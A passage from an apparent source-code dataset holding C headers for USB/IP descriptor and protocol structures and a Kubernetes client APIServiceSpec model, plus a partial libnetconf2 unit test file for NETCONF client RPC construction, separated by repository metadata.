// USB Descriptors
#define USB_DESCRIPTOR_DEVICE 0x01 // Device Descriptor.
#define USB_DESCRIPTOR_CONFIGURATION 0x02 // Configuration Descriptor.
#define USB_DESCRIPTOR_STRING 0x03 // String Descriptor.
#define USB_DESCRIPTOR_INTERFACE 0x04 // Interface Descriptor.
#define USB_DESCRIPTOR_ENDPOINT 0x05 // Endpoint Descriptor.
#define USB_DESCRIPTOR_DEVICE_QUALIFIER 0x06 // Device Qualifier.
#define USB_DESCRIPTOR_ICC 0x21 // ICC descriptor.
typedef struct __attribute__ ((__packed__)) _USB_DEVICE_DESCRIPTOR
{
byte bLength; // Length of this descriptor.
byte bDescriptorType; // DEVICE descriptor type (USB_DESCRIPTOR_DEVICE).
word bcdUSB; // USB Spec Release Number (BCD).
byte bDeviceClass; // Class code (assigned by the USB-IF). 0xFF-Vendor specific.
byte bDeviceSubClass; // Subclass code (assigned by the USB-IF).
byte bDeviceProtocol; // Protocol code (assigned by the USB-IF). 0xFF-Vendor specific.
byte bMaxPacketSize0; // Maximum packet size for endpoint 0.
word idVendor; // Vendor ID (assigned by the USB-IF).
word idProduct; // Product ID (assigned by the manufacturer).
word bcdDevice; // Device release number (BCD).
byte iManufacturer; // Index of String Descriptor describing the manufacturer.
byte iProduct; // Index of String Descriptor describing the product.
byte iSerialNumber; // Index of String Descriptor with the device's serial number.
byte bNumConfigurations; // Number of possible configurations.
} USB_DEVICE_DESCRIPTOR;
typedef struct __attribute__ ((__packed__)) _USB_CONFIGURATION_DESCRIPTOR
{
byte bLength; // Length of this descriptor.
byte bDescriptorType; // CONFIGURATION descriptor type (USB_DESCRIPTOR_CONFIGURATION).
word wTotalLength; // Total length of all descriptors for this configuration.
byte bNumInterfaces; // Number of interfaces in this configuration.
byte bConfigurationValue; // Value of this configuration (1 based).
byte iConfiguration; // Index of String Descriptor describing the configuration.
byte bmAttributes; // Configuration characteristics.
byte bMaxPower; // Maximum power consumed by this configuration.
} USB_CONFIGURATION_DESCRIPTOR;
typedef struct __attribute__ ((__packed__)) _USB_INTERFACE_DESCRIPTOR
{
byte bLength; // Length of this descriptor.
byte bDescriptorType; // INTERFACE descriptor type (USB_DESCRIPTOR_INTERFACE).
byte bInterfaceNumber; // Number of this interface (0 based).
byte bAlternateSetting; // Value of this alternate interface setting.
byte bNumEndpoints; // Number of endpoints in this interface.
byte bInterfaceClass; // Class code (assigned by the USB-IF). 0xFF-Vendor specific.
byte bInterfaceSubClass; // Subclass code (assigned by the USB-IF).
byte bInterfaceProtocol; // Protocol code (assigned by the USB-IF). 0xFF-Vendor specific.
byte iInterface; // Index of String Descriptor describing the interface.
} USB_INTERFACE_DESCRIPTOR;
typedef struct __attribute__ ((__packed__)) _USB_ENDPOINT_DESCRIPTOR
{
byte bLength; // Length of this descriptor.
byte bDescriptorType; // ENDPOINT descriptor type (USB_DESCRIPTOR_ENDPOINT).
byte bEndpointAddress; // Endpoint address. Bit 7 indicates direction (0=OUT, 1=IN).
byte bmAttributes; // Endpoint transfer type.
word wMaxPacketSize; // Maximum packet size.
byte bInterval; // Polling interval in frames.
} USB_ENDPOINT_DESCRIPTOR;
typedef struct __attribute__ ((__packed__)) _USB_DEVICE_QUALIFIER_DESCRIPTOR
{
byte bLength; // Size of this descriptor
byte bType; // Type, always USB_DESCRIPTOR_DEVICE_QUALIFIER
word bcdUSB; // USB spec version, in BCD
byte bDeviceClass; // Device class code
byte bDeviceSubClass; // Device sub-class code
byte bDeviceProtocol; // Device protocol
byte bMaxPacketSize0; // EP0, max packet size
byte bNumConfigurations; // Number of "other-speed" configurations
byte bReserved; // Always zero (0)
} USB_DEVICE_QUALIFIER_DESCRIPTOR;
//=================================================================================
//Generic Configuration
//=================================================================================
typedef struct __attribute__ ((__packed__)) _CONFIG_GEN
{
USB_CONFIGURATION_DESCRIPTOR dev_conf;
USB_INTERFACE_DESCRIPTOR dev_int;
} CONFIG_GEN;
//=================================================================================
//HID
//=================================================================================
typedef struct __attribute__ ((__packed__)) _USB_HID_DESCRIPTOR
{
byte bLength;
byte bDescriptorType;
word bcdHID;
byte bCountryCode;
byte bNumDescriptors;
byte bRPDescriptorType;
word wRPDescriptorLength;
} USB_HID_DESCRIPTOR;
//Configuration
typedef struct __attribute__ ((__packed__)) _CONFIG_HID
{
USB_CONFIGURATION_DESCRIPTOR dev_conf;
USB_INTERFACE_DESCRIPTOR dev_int;
USB_HID_DESCRIPTOR dev_hid;
USB_ENDPOINT_DESCRIPTOR dev_ep;
} CONFIG_HID;
//=================================================================================
//CDC
/* Functional Descriptor Structure - See CDC Specification 1.1 for details */
//=================================================================================
/* Header Functional Descriptor */
typedef struct __attribute__ ((__packed__)) _USB_CDC_HEADER_FN_DSC
{
byte bFNLength;
byte bDscType;
byte bDscSubType;
word bcdCDC;
} USB_CDC_HEADER_FN_DSC;
/* Abstract Control Management Functional Descriptor */
typedef struct __attribute__ ((__packed__)) _USB_CDC_ACM_FN_DSC
{
byte bFNLength;
byte bDscType;
byte bDscSubType;
byte bmCapabilities;
} USB_CDC_ACM_FN_DSC;
/* Union Functional Descriptor */
typedef struct __attribute__ ((__packed__)) _USB_CDC_UNION_FN_DSC
{
byte bFNLength;
byte bDscType;
byte bDscSubType;
byte bMasterIntf;
byte bSaveIntf0;
} USB_CDC_UNION_FN_DSC;
/* Call Management Functional Descriptor */
typedef struct __attribute__ ((__packed__)) _USB_CDC_CALL_MGT_FN_DSC
{
byte bFNLength;
byte bDscType;
byte bDscSubType;
byte bmCapabilities;
byte bDataInterface;
} USB_CDC_CALL_MGT_FN_DSC;
//Configuration
typedef struct __attribute__ ((__packed__)) _CONFIG_CDC
{
USB_CONFIGURATION_DESCRIPTOR dev_conf0;
USB_INTERFACE_DESCRIPTOR dev_int0;
USB_CDC_HEADER_FN_DSC cdc_header;
USB_CDC_CALL_MGT_FN_DSC cdc_call_mgt;
USB_CDC_ACM_FN_DSC cdc_acm;
USB_CDC_UNION_FN_DSC cdc_union;
USB_ENDPOINT_DESCRIPTOR dev_ep0;
USB_INTERFACE_DESCRIPTOR dev_int1;
USB_ENDPOINT_DESCRIPTOR dev_ep1;
USB_ENDPOINT_DESCRIPTOR dev_ep2;
} CONFIG_CDC;
//=================================================================================
// CCID
//=================================================================================
#define CCID_IN_EP 0x84U /* EP1 for data IN */
#define CCID_OUT_EP 0x04U /* EP1 for data OUT */
#define CCID_CMD_EP 0x85U /* EP2 for CDC commands */
#define CCID_DATA_PACKET_SIZE 64
#define CCID_HEADER_SIZE 10
/*CCID specification version 1.10*/
#define CCID1_10 0x0110
#define SMART_CARD_DEVICE_CLASS 0x0B
/* Smart Card Device Class Descriptor Type */
#define CCID_DECRIPTOR_TYPE 0x21
/* Table 5.3-1 Summary of CCID Class Specific Request */
#define CCIDGENERICREQ_ABORT 0x01
#define CCIDGENERICREQ_GET_CLOCK_FREQUENCIES 0x02
#define CCIDGENERICREQ_GET_DATA_RATES 0x03
/* 6.1 Command Pipe, Bulk-OUT Messages */
#define PC_TO_RDR_ICCPOWERON 0x62
#define PC_TO_RDR_ICCPOWEROFF 0x63
#define PC_TO_RDR_GETSLOTSTATUS 0x65
#define PC_TO_RDR_XFRBLOCK 0x6F
#define PC_TO_RDR_GETPARAMETERS 0x6C
#define PC_TO_RDR_RESETPARAMETERS 0x6D
#define PC_TO_RDR_SETPARAMETERS 0x61
#define PC_TO_RDR_ESCAPE 0x6B
#define PC_TO_RDR_ICCCLOCK 0x6E
#define PC_TO_RDR_T0APDU 0x6A
#define PC_TO_RDR_SECURE 0x69
#define PC_TO_RDR_MECHANICAL 0x71
#define PC_TO_RDR_ABORT 0x72
#define PC_TO_RDR_SETDATARATEANDCLOCKFREQUENCY 0x73
/* 6.2 Response Pipe, Bulk-IN Messages */
#define RDR_TO_PC_DATABLOCK 0x80
#define RDR_TO_PC_SLOTSTATUS 0x81
#define RDR_TO_PC_PARAMETERS 0x82
#define RDR_TO_PC_ESCAPE 0x83
#define RDR_TO_PC_DATARATEANDCLOCKFREQUENCY 0x84
/* 6.3 Interrupt-IN Messages */
#define RDR_TO_PC_NOTIFYSLOTCHANGE 0x50
#define RDR_TO_PC_HARDWAREERROR 0x51
/* Command status for USB Bulk In Messages : bmCommandStatus */
#define BM_ICC_PRESENT_ACTIVE 0x00
#define BM_ICC_PRESENT_INACTIVE 0x01
#define BM_ICC_NO_ICC_PRESENT 0x02
#define BM_COMMAND_STATUS_OFFSET 0x06
#define BM_COMMAND_STATUS_NO_ERROR (0x00 << BM_COMMAND_STATUS_OFFSET)
#define BM_COMMAND_STATUS_FAILED (0x01 << BM_COMMAND_STATUS_OFFSET)
#define BM_COMMAND_STATUS_TIME_EXTN (0x02 << BM_COMMAND_STATUS_OFFSET)
/* ERROR CODES for USB Bulk In Messages : bError */
#define SLOT_NO_ERROR 0x81
#define SLOTERROR_UNKNOWN 0x82
/* Index of not supported / incorrect message parameter : 7Fh to 01h */
/* These Values are used for Return Types between Firmware Layers */
/*
Failure of a command
The CCID cannot parse one parameter or the ICC is not supporting one parameter.
Then the Slot Error register contains the index of the first bad parameter as a
positive number (1-127). For instance, if the CCID receives an ICC command to
an unimplemented slot, then the Slot Error register shall be set to
‘5’ (index of bSlot field). */
#define SLOTERROR_BAD_LENTGH 0x01
#define SLOTERROR_BAD_SLOT 0x05
#define SLOTERROR_BAD_POWERSELECT 0x07
#define SLOTERROR_BAD_PROTOCOLNUM 0x07
#define SLOTERROR_BAD_CLOCKCOMMAND 0x07
#define SLOTERROR_BAD_ABRFU_3B 0x07
#define SLOTERROR_BAD_BMCHANGES 0x07
#define SLOTERROR_BAD_BFUNCTION_MECHANICAL 0x07
#define SLOTERROR_BAD_ABRFU_2B 0x08
#define SLOTERROR_BAD_LEVELPARAMETER 0x08
#define SLOTERROR_BAD_FIDI 0x0A
#define SLOTERROR_BAD_T01CONVCHECKSUM 0x0B
#define SLOTERROR_BAD_GUARDTIME 0x0C
#define SLOTERROR_BAD_WAITINGINTEGER 0x0D
#define SLOTERROR_BAD_CLOCKSTOP 0x0E
#define SLOTERROR_BAD_IFSC 0x0F
#define SLOTERROR_BAD_NAD 0x10
#define SLOTERROR_BAD_DWLENGTH 0x08 /* Used in PC_to_RDR_XfrBlock*/
/* Table 6.2-2 Slot error register when bmCommandStatus = 1 (BM_COMMAND_STATUS_FAILED) */
#define SLOTERROR_CMD_ABORTED 0xFF
#define SLOTERROR_ICC_MUTE 0xFE
#define SLOTERROR_XFR_PARITY_ERROR 0xFD
#define SLOTERROR_XFR_OVERRUN 0xFC
#define SLOTERROR_HW_ERROR 0xFB
#define SLOTERROR_BAD_ATR_TS 0xF8
#define SLOTERROR_BAD_ATR_TCK 0xF7
#define SLOTERROR_ICC_PROTOCOL_NOT_SUPPORTED 0xF6
#define SLOTERROR_ICC_CLASS_NOT_SUPPORTED 0xF5
#define SLOTERROR_PROCEDURE_BYTE_CONFLICT 0xF4
#define SLOTERROR_DEACTIVATED_PROTOCOL 0xF3
#define SLOTERROR_BUSY_WITH_AUTO_SEQUENCE 0xF2
#define SLOTERROR_PIN_TIMEOUT 0xF0
#define SLOTERROR_PIN_CANCELLED 0xEF
#define SLOTERROR_CMD_SLOT_BUSY 0xE0
#define SLOTERROR_CMD_NOT_SUPPORTED 0x00
/* CCID rev 1.1, p.27 */
#define VOLTS_AUTO 0x00
#define VOLTS_5_0 0x01
#define VOLTS_3_0 0x02
#define VOLTS_1_8 0x03
/* 6.3.1 RDR_to_PC_NotifySlotChange */
#define ICC_NOT_PRESENT 0x00
#define ICC_PRESENT 0x01
#define ICC_CHANGE 0x02
#define ICC_INSERTED_EVENT (ICC_PRESENT+ICC_CHANGE)
typedef struct __attribute__ ((__packed__)) _USB_ICC_DESCRIPTOR
{
byte bFNLength;
byte bDscType;
word bcdCCID;
byte bMaxSlotIndex;
byte bVoltageSupport;
dword dwProtocols;
dword dwDefaultClock;
dword dwMaximumClock;
byte bNumClockSupported;
dword dwDataRate;
dword dwMaxDataRate;
byte bNumDataRateSupported;
dword dwMaxIFSD;
dword dwSynchProtocols;
dword dwMechanical;
dword dwFeatures;
dword dwMaxCCIDMessageLength;
byte bClassGetResponse;
byte bClassEnvelope;
word wLCDLayout;
byte bPinSupport;
byte bMaxCCIDBusySlots;
} USB_ICC_DESCRIPTOR;
//Configuration
typedef struct __attribute__ ((__packed__)) _CONFIG_CCID
{
USB_CONFIGURATION_DESCRIPTOR dev_conf0;
USB_INTERFACE_DESCRIPTOR dev_int0;
USB_ICC_DESCRIPTOR icc_desc0;
USB_ENDPOINT_DESCRIPTOR dev_ep0;
USB_ENDPOINT_DESCRIPTOR dev_ep1;
USB_ENDPOINT_DESCRIPTOR dev_ep2;
} CONFIG_CCID;
//=================================================================================
//USBIP data struct
typedef struct __attribute__ ((__packed__)) _OP_REQ_DEVLIST
{
word version;
word command;
int status;
} OP_REQ_DEVLIST;
typedef struct __attribute__ ((__packed__)) _OP_REP_DEVLIST_HEADER
{
word version;
word command;
int status;
int nExportedDevice;
}OP_REP_DEVLIST_HEADER;
//================= for each device
typedef struct __attribute__ ((__packed__)) _OP_REP_DEVLIST_DEVICE
{
char usbPath[256];
char busID[32];
int busnum;
int devnum;
int speed;
word idVendor;
word idProduct;
word bcdDevice;
byte bDeviceClass;
byte bDeviceSubClass;
byte bDeviceProtocol;
byte bConfigurationValue;
byte bNumConfigurations;
byte bNumInterfaces;
}OP_REP_DEVLIST_DEVICE;
//================== for each interface
typedef struct __attribute__ ((__packed__)) _OP_REP_DEVLIST_INTERFACE
{
byte bInterfaceClass;
byte bInterfaceSubClass;
byte bInterfaceProtocol;
byte padding;
}OP_REP_DEVLIST_INTERFACE;
typedef struct __attribute__ ((__packed__)) _OP_REP_DEVLIST
{
OP_REP_DEVLIST_HEADER header;
OP_REP_DEVLIST_DEVICE device; //only one!
OP_REP_DEVLIST_INTERFACE *interfaces;
}OP_REP_DEVLIST;
typedef struct __attribute__ ((__packed__)) _OP_REQ_IMPORT
{
word version;
word command;
int status;
char busID[32];
}OP_REQ_IMPORT;
typedef struct __attribute__ ((__packed__)) _OP_REP_IMPORT
{
word version;
word command;
int status;
//------------- if not ok, finish here
char usbPath[256];
char busID[32];
int busnum;
int devnum;
int speed;
word idVendor;
word idProduct;
word bcdDevice;
byte bDeviceClass;
byte bDeviceSubClass;
byte bDeviceProtocol;
byte bConfigurationValue;
byte bNumConfigurations;
byte bNumInterfaces;
}OP_REP_IMPORT;
typedef struct __attribute__ ((__packed__)) _USBIP_CMD_SUBMIT
{
int command;
int seqnum;
int devid;
int direction;
int ep;
int transfer_flags;
int transfer_buffer_length;
int start_frame;
int number_of_packets;
int interval;
long long setup;
}USBIP_CMD_SUBMIT;
/*
+ Allowed transfer_flags | value | control | interrupt | bulk | isochronous
+ -------------------------+------------+---------+-----------+----------+-------------
+ URB_SHORT_NOT_OK | 0x00000001 | only in | only in | only in | no
+ URB_ISO_ASAP | 0x00000002 | no | no | no | yes
+ URB_NO_TRANSFER_DMA_MAP | 0x00000004 | yes | yes | yes | yes
+ URB_NO_FSBR | 0x00000020 | yes | no | no | no
+ URB_ZERO_PACKET | 0x00000040 | no | no | only out | no
+ URB_NO_INTERRUPT | 0x00000080 | yes | yes | yes | yes
+ URB_FREE_BUFFER | 0x00000100 | yes | yes | yes | yes
+ URB_DIR_MASK | 0x00000200 | yes | yes | yes | yes
*/
typedef struct __attribute__ ((__packed__)) _USBIP_RET_SUBMIT
{
int command;
int seqnum;
int devid;
int direction;
int ep;
int status;
int actual_length;
int start_frame;
int number_of_packets;
int error_count;
long long setup;
}USBIP_RET_SUBMIT;
typedef struct __attribute__ ((__packed__)) _USBIP_CMD_UNLINK
{
int command;
int seqnum;
int devid;
int direction;
int ep;
int seqnum_urb;
}USBIP_CMD_UNLINK;
typedef struct __attribute__ ((__packed__)) _USBIP_RET_UNLINK
{
int command;
int seqnum;
int devid;
int direction;
int ep;
int status;
}USBIP_RET_UNLINK;
typedef struct __attribute__ ((__packed__)) _StandardDeviceRequest
{
byte bmRequestType;
byte bRequest;
byte wValue0;
byte wValue1;
byte wIndex0;
byte wIndex1;
word wLength;
}StandardDeviceRequest;
void send_usb_req(int sockfd, USBIP_RET_SUBMIT * usb_req, char * data, unsigned int size, unsigned int status);
void usbip_run (const USB_DEVICE_DESCRIPTOR *dev_dsc);
//implemented by user
extern const USB_DEVICE_DESCRIPTOR dev_dsc;
extern const USB_DEVICE_QUALIFIER_DESCRIPTOR dev_qua;
extern const char * configuration;
extern const USB_INTERFACE_DESCRIPTOR *interfaces[];
extern const unsigned char *strings[];
void handle_data(int sockfd, USBIP_RET_SUBMIT *usb_req, int bl);
void handle_unknown_control(int sockfd, StandardDeviceRequest * control_req, USBIP_RET_SUBMIT *usb_req);
#endif /* USBIP_H_ */
|
8d86e14bcc40e1baef350c1b56bc16558b8a631e
|
e1d9c54e9925e30e388a255b53a93cccad0b94cb
|
/kubernetes/model/v1_api_service_spec.h
|
d1457ddf7e80522af7c4a73d62f06fa81de84abc
|
[
"Apache-2.0",
"curl"
] |
permissive
|
kubernetes-client/c
|
dd4fd8095485c083e0f40f2b48159b1609a6141b
|
5ac5ff25e9809a92a48111b1f77574b6d040b711
|
refs/heads/master
| 2023-08-13T10:51:03.702497
| 2023-08-07T19:18:32
| 2023-08-07T19:18:32
| 247,958,425
| 127
| 47
|
Apache-2.0
| 2023-09-07T20:07:00
| 2020-03-17T11:59:05
|
C
|
UTF-8
|
C
| false
| false
| 1,424
|
h
|
v1_api_service_spec.h
|
/*
* v1_api_service_spec.h
*
* APIServiceSpec contains information for locating and communicating with a server. Only https is supported, though you are able to disable certificate verification.
*/
#ifndef _v1_api_service_spec_H_
#define _v1_api_service_spec_H_
#include <string.h>
#include "../external/cJSON.h"
#include "../include/list.h"
#include "../include/keyValuePair.h"
#include "../include/binary.h"
typedef struct v1_api_service_spec_t v1_api_service_spec_t;
#include "apiregistration_v1_service_reference.h"
typedef struct v1_api_service_spec_t {
char *ca_bundle; //ByteArray
char *group; // string
int group_priority_minimum; //numeric
int insecure_skip_tls_verify; //boolean
struct apiregistration_v1_service_reference_t *service; //model
char *version; // string
int version_priority; //numeric
} v1_api_service_spec_t;
v1_api_service_spec_t *v1_api_service_spec_create(
char *ca_bundle,
char *group,
int group_priority_minimum,
int insecure_skip_tls_verify,
apiregistration_v1_service_reference_t *service,
char *version,
int version_priority
);
void v1_api_service_spec_free(v1_api_service_spec_t *v1_api_service_spec);
v1_api_service_spec_t *v1_api_service_spec_parseFromJSON(cJSON *v1_api_service_specJSON);
cJSON *v1_api_service_spec_convertToJSON(v1_api_service_spec_t *v1_api_service_spec);
#endif /* _v1_api_service_spec_H_ */
|
a75523c78aaf2da1887c9c69e3f7928f2019df8e
|
d38e65b0f19ef001057081647b85fbcc017db8b6
|
/tests/client/test_client_messages.c
|
989c325c95f6fdf1328760564eb4e841136941d0
|
[
"BSD-3-Clause"
] |
permissive
|
CESNET/libnetconf2
|
dd70f52519509b68b5260b6bd2f99172d1a0b559
|
4514f16d71665a1b2c7ad29908474ef67526ed07
|
refs/heads/master
| 2023-09-06T06:26:37.039041
| 2023-08-18T12:38:52
| 2023-08-18T12:38:52
| 41,678,431
| 195
| 176
|
BSD-3-Clause
| 2023-08-31T12:23:17
| 2015-08-31T13:58:55
|
C
|
UTF-8
|
C
| false
| false
| 25,426
|
c
|
test_client_messages.c
|
/**
* @file test_client_messages.c
* @author David Sedlák <xsedla1d@stud.fit.vutbr.cz>
* @brief client messages test
*
* Copyright (c) 2018 CESNET, z.s.p.o.
*
* This source code is licensed under BSD 3-Clause License (the "License").
* You may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://opensource.org/licenses/BSD-3-Clause
*/
#define _GNU_SOURCE
#include <errno.h>
#include <setjmp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <cmocka.h>
#include <config.h>
#include <libyang/libyang.h>
#include <log.h>
#include <messages_p.h>
#include <session_client.h>
#include "tests/config.h"
static int
setup_f(void **state)
{
(void)state;
nc_verbosity(NC_VERB_VERBOSE);
return 0;
}
static int
teardown_f(void **state)
{
(void)state;
return 0;
}
static void
test_nc_rpc_act_generic_xml(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
struct nc_rpc_act_generic *generic_rpc = NULL;
/* create generic rpc with NC_PARAMTYPE_CONST */
rpc = nc_rpc_act_generic_xml("xml", NC_PARAMTYPE_CONST);
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_ACT_GENERIC);
generic_rpc = (struct nc_rpc_act_generic *)rpc;
assert_int_equal(generic_rpc->type, NC_RPC_ACT_GENERIC);
assert_int_equal(generic_rpc->has_data, 0);
assert_string_equal(generic_rpc->content.xml_str, "xml");
nc_rpc_free(rpc);
/* create generic rpc with NC_PARAMTYPE_FREE */
char *str = strdup("str");
rpc = nc_rpc_act_generic_xml(str, NC_PARAMTYPE_FREE);
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_ACT_GENERIC);
generic_rpc = (struct nc_rpc_act_generic *)rpc;
assert_int_equal(generic_rpc->type, NC_RPC_ACT_GENERIC);
assert_int_equal(generic_rpc->has_data, 0);
assert_string_equal(generic_rpc->content.xml_str, str);
nc_rpc_free(rpc);
/* create generic rpc with NC_PARAMTYPE_DUP_AND_FREE */
rpc = nc_rpc_act_generic_xml("xml", NC_PARAMTYPE_DUP_AND_FREE);
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_ACT_GENERIC);
generic_rpc = (struct nc_rpc_act_generic *)rpc;
assert_int_equal(generic_rpc->type, NC_RPC_ACT_GENERIC);
assert_int_equal(generic_rpc->has_data, 0);
assert_string_equal(generic_rpc->content.xml_str, "xml");
nc_rpc_free(rpc);
}
static void
test_nc_rpc_act_generic(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
struct nc_rpc_act_generic *generic_rpc = NULL;
struct lyd_node node;
node.next = NULL;
node.prev = &node;
rpc = nc_rpc_act_generic(&node, NC_PARAMTYPE_CONST);
assert_non_null(rpc);
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_ACT_GENERIC);
generic_rpc = (struct nc_rpc_act_generic *)rpc;
assert_int_equal(generic_rpc->type, NC_RPC_ACT_GENERIC);
assert_int_equal(generic_rpc->has_data, 1);
assert_ptr_equal(generic_rpc->content.data, &node);
nc_rpc_free(rpc);
}
/* function to check if values of getconfig rpc are set correctly */
void
check_getconfig(struct nc_rpc *rpc, enum NC_DATASTORE_TYPE source, char *filter, NC_WD_MODE wd_mode)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_GETCONFIG);
struct nc_rpc_getconfig *getconfig_rpc = (struct nc_rpc_getconfig *)rpc;
assert_int_equal(getconfig_rpc->type, NC_RPC_GETCONFIG);
assert_int_equal(getconfig_rpc->source, source);
assert_string_equal(getconfig_rpc->filter, filter);
assert_int_equal(getconfig_rpc->wd_mode, wd_mode);
}
static void
test_nc_rpc_getconfig(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create getconfig rpc with NC_PARAMTYPE_CONST */
rpc = nc_rpc_getconfig(NC_DATASTORE_CANDIDATE, "filter-string", NC_WD_UNKNOWN, NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_getconfig(rpc, NC_DATASTORE_CANDIDATE, "filter-string", NC_WD_UNKNOWN);
nc_rpc_free(rpc);
/* create getconfig rpc with NC_PARAMTYPE_FREE */
char *filter = strdup("string");
rpc = nc_rpc_getconfig(NC_DATASTORE_CONFIG, filter, NC_WD_EXPLICIT, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_getconfig(rpc, NC_DATASTORE_CONFIG, filter, NC_WD_EXPLICIT);
nc_rpc_free(rpc);
/* create getconfig rpc with NC_PARAMTYPE_DUP_AND_FREE */
rpc = nc_rpc_getconfig(NC_DATASTORE_RUNNING, "filter", NC_WD_ALL, NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_getconfig(rpc, NC_DATASTORE_RUNNING, "filter", NC_WD_ALL);
nc_rpc_free(rpc);
}
/* function to check if values of edit rpc are set correctly */
void
check_edit(struct nc_rpc *rpc, NC_DATASTORE target, NC_RPC_EDIT_DFLTOP default_op, NC_RPC_EDIT_TESTOPT test_opt,
NC_RPC_EDIT_ERROPT error_opt, const char *edit_content)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_EDIT);
struct nc_rpc_edit *edit_rpc = (struct nc_rpc_edit *)rpc;
assert_int_equal(edit_rpc->type, NC_RPC_EDIT);
assert_int_equal(edit_rpc->target, target);
assert_int_equal(edit_rpc->default_op, default_op);
assert_int_equal(edit_rpc->test_opt, test_opt);
assert_int_equal(edit_rpc->error_opt, error_opt);
assert_string_equal(edit_rpc->edit_cont, edit_content);
}
static void
test_nc_rpc_edit(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create edit rpc with NC_PARAMTYPE_CONST */
rpc = nc_rpc_edit(NC_DATASTORE_RUNNING, NC_RPC_EDIT_DFLTOP_REPLACE, NC_RPC_EDIT_TESTOPT_TESTSET,
NC_RPC_EDIT_ERROPT_STOP, "url", NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_edit(rpc, NC_DATASTORE_RUNNING, NC_RPC_EDIT_DFLTOP_REPLACE,
NC_RPC_EDIT_TESTOPT_TESTSET, NC_RPC_EDIT_ERROPT_STOP, "url");
nc_rpc_free(rpc);
/* create edit rpc with NC_PARAMTYPE_FREE */
char *str = strdup("string");
rpc = nc_rpc_edit(NC_DATASTORE_CANDIDATE, NC_RPC_EDIT_DFLTOP_MERGE, NC_RPC_EDIT_TESTOPT_SET,
NC_RPC_EDIT_ERROPT_ROLLBACK, str, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_edit(rpc, NC_DATASTORE_CANDIDATE, NC_RPC_EDIT_DFLTOP_MERGE,
NC_RPC_EDIT_TESTOPT_SET, NC_RPC_EDIT_ERROPT_ROLLBACK, str);
nc_rpc_free(rpc);
/* create edit rpc with NC_PARAMTYPE_DUP_AND_FREE */
rpc = nc_rpc_edit(NC_DATASTORE_CONFIG, NC_RPC_EDIT_DFLTOP_NONE, NC_RPC_EDIT_TESTOPT_TEST,
NC_RPC_EDIT_ERROPT_CONTINUE, "url1", NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_edit(rpc, NC_DATASTORE_CONFIG, NC_RPC_EDIT_DFLTOP_NONE,
NC_RPC_EDIT_TESTOPT_TEST, NC_RPC_EDIT_ERROPT_CONTINUE, "url1");
nc_rpc_free(rpc);
}
/* function to check if values of copy rpc are set correctly */
void
check_copy(struct nc_rpc *rpc, NC_DATASTORE target, const char *url_trg, NC_DATASTORE source,
const char *url_or_config_src, NC_WD_MODE wd_mode)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_COPY);
struct nc_rpc_copy *copy_rpc = (struct nc_rpc_copy *)rpc;
assert_int_equal(copy_rpc->type, NC_RPC_COPY);
assert_int_equal(copy_rpc->target, target);
assert_string_equal(copy_rpc->url_trg, url_trg);
assert_int_equal(copy_rpc->source, source);
assert_string_equal(copy_rpc->url_config_src, url_or_config_src);
assert_int_equal(copy_rpc->wd_mode, wd_mode);
}
static void
test_nc_rpc_copy(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create copy rpc with NC_PARAMTYPE_CONST */
rpc = nc_rpc_copy(NC_DATASTORE_RUNNING, "target-url", NC_DATASTORE_RUNNING, "src-url",
NC_WD_ALL, NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_copy(rpc, NC_DATASTORE_RUNNING, "target-url", NC_DATASTORE_RUNNING, "src-url", NC_WD_ALL);
nc_rpc_free(rpc);
/* create copy rpc with NC_PARAMTYPE_FREE */
char *target = strdup("target");
char *src = strdup("src");
rpc = nc_rpc_copy(NC_DATASTORE_STARTUP, target, NC_DATASTORE_RUNNING, src,
NC_WD_ALL_TAG, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_copy(rpc, NC_DATASTORE_STARTUP, target, NC_DATASTORE_RUNNING, src, NC_WD_ALL_TAG);
nc_rpc_free(rpc);
/* create copy rpc with NC_PARAMTYPE_DUP_AND_FREE */
rpc = nc_rpc_copy(NC_DATASTORE_STARTUP, "url", NC_DATASTORE_CANDIDATE, "url",
NC_WD_TRIM, NC_PARAMTYPE_DUP_AND_FREE);
assert_non_null(rpc);
check_copy(rpc, NC_DATASTORE_STARTUP, "url", NC_DATASTORE_CANDIDATE, "url", NC_WD_TRIM);
nc_rpc_free(rpc);
}
/* function to check if values of delete rpc are set correctly */
void
check_delete(struct nc_rpc *rpc, NC_DATASTORE target, const char *url)
{
assert_int_equal(nc_rpc_get_type(rpc), NC_RPC_DELETE);
struct nc_rpc_delete *delete_rpc = (struct nc_rpc_delete *)rpc;
assert_int_equal(delete_rpc->type, NC_RPC_DELETE);
assert_int_equal(delete_rpc->target, target);
assert_string_equal(delete_rpc->url, url);
}
static void
test_nc_rpc_delete(void **state)
{
(void)state;
struct nc_rpc *rpc = NULL;
/* create delete rpc with NC_PARAMTYPE_CONST */
rpc = nc_rpc_delete(NC_DATASTORE_RUNNING, "target-url", NC_PARAMTYPE_CONST);
assert_non_null(rpc);
check_delete(rpc, NC_DATASTORE_RUNNING, "target-url");
nc_rpc_free(rpc);
/* create delete rpc with NC_PARAMTYPE_FREE */
char *url = strdup("url");
rpc = nc_rpc_delete(NC_DATASTORE_CANDIDATE, url, NC_PARAMTYPE_FREE);
assert_non_null(rpc);
check_delete(rpc, NC_DATASTORE_CANDIDATE, url);
nc_rpc_free(rpc);
/* create delete rpc with NC_PARAMTYPE_DUP_AND_FREE */
